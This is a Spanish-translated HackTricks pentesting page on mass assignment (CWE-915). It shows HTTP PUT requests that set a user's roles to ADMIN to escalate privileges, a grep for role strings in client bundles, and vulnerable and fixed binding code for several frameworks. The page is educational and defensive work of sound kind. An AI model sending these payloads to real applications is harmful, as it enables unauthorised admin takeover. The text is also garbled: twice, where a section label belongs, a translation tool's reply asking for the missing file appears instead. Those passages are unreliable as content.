Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding
Reading time: 7 minutes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Mass assignment (a.k.a. insecure object binding) ocurre cuando un API/controlador toma JSON proporcionado por el usuario y lo enlaza directamente a un modelo/entidad en el servidor sin una lista explícita de campos permitidos. Si propiedades privilegiadas como roles, isAdmin, status, o campos de ownership son bindable, cualquier usuario autenticado puede escalar privilegios o manipular el estado protegido.
Esto es un problema de Broken Access Control (OWASP A01:2021) que a menudo permite escalada de privilegios vertical al establecer roles=ADMIN o similar. Suele afectar a frameworks que soportan binding automático del request body a modelos de datos (Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs, etc.).
1) Encontrar Mass Assignment
Busca endpoints de autoservicio que actualicen tu propio perfil o recursos similares:
- PUT/PATCH /api/users/{id}
- PATCH /me, PUT /profile
- PUT /api/orders/{id}
Heurísticas que indican mass assignment:
- La respuesta refleja campos gestionados por el servidor (p. ej., roles, status, isAdmin, permissions) incluso cuando no los enviaste.
- Los paquetes del cliente contienen nombres/IDs de roles u otros nombres de atributos privilegiados usados en la app (admin, staff, moderator, internal flags), lo que sugiere un esquema bindable.
- Los serializers del backend aceptan campos desconocidos sin rechazarlos.
Flujo de prueba rápido:
- Realiza una actualización normal solo con campos seguros y observa la estructura completa de la respuesta JSON (this leaks the schema).
- Repite la actualización incluyendo un campo privilegiado manipulado en el body. Si la respuesta mantiene el cambio, probablemente tienes mass assignment.
Example baseline update revealing schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
La respuesta insinúa campos privilegiados:
HTTP/1.1 200 OK
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}
2) Exploitation – Role Escalation via Mass Assignment
Una vez que conozcas el bindable shape, incluye la privileged property en la misma solicitud.
Ejemplo: establece roles como ADMIN en tu propio recurso de usuario:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
Si la respuesta persiste el cambio de rol, vuelve a autenticarte o refresh tokens/claims para que la app emita una sesión en admin-context y muestre la UI/endpoints privilegiados.
Notas
- Los role identifiers y shapes se enumeran frecuentemente desde el client JS bundle o la API docs. Busca cadenas como "roles", "ADMIN", "STAFF", o role IDs numéricos.
- Si los tokens contienen claims (p. ej., JWT roles), normalmente se requiere logout/login o token refresh para que se materialicen los nuevos privilegios.
3) Recon del bundle del cliente para esquemas e IDs de rol
- Inspecciona minified JS bundles en busca de role strings y model names; los source maps pueden revelar DTO shapes.
- Busca arrays/maps de roles, permissions o feature flags. Construye payloads que coincidan exactamente con los property names y el nesting.
- Indicadores típicos: role name constants, dropdown option lists, validation schemas.
Greps útiles contra un bundle descargado:
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
4) Peligros de frameworks y patrones seguros
La vulnerabilidad surge cuando los frameworks asignan req.body directamente a entidades persistentes. A continuación se muestran errores comunes y patrones mínimos y seguros.
Node.js (Express + Mongoose)
Vulnerable:
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
No tengo el contenido del archivo src/pentesting-web/mass-assignment-cwe-915.md. Por favor pega aquí el texto que quieres que traduzca al español (mantendré la sintaxis markdown/html y no traduciré código, nombres técnicos, tags, enlaces ni rutas).
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.
Ruby on Rails
Vulnerable (sin strong parameters):
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Corregir (strong params + sin campos privilegiados):
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Vulnerable:
protected $guarded = []; // Everything mass-assignable (bad)
Necesito el contenido del archivo src/pentesting-web/mass-assignment-cwe-915.md para traducirlo. Por favor pega aquí el texto que quieres que traduzca.
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin
Spring Boot (Jackson)
Patrón vulnerable:
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }
Solución: Mapear a un DTO con solo los campos permitidos y hacer cumplir la autorización:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
Luego copia los campos permitidos desde el DTO a la entidad en el servidor, y maneja los cambios de rol solo en handlers exclusivos para admin después de las comprobaciones RBAC. Usa @JsonIgnore en campos privilegiados si es necesario y rechaza propiedades desconocidas.
Go (encoding/json)
- Asegúrate de que los campos privilegiados usen json:"-" y valida con una struct DTO que incluya solo los campos permitidos.
- Considera decoder.DisallowUnknownFields() y la validación posterior al bind de invariantes (los roles no pueden cambiar en rutas de autoservicio).
Referencias
- FIA Driver Categorisation: Admin Takeover via Mass Assignment of roles (Full PoC)
- OWASP Top 10 – Broken Access Control
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks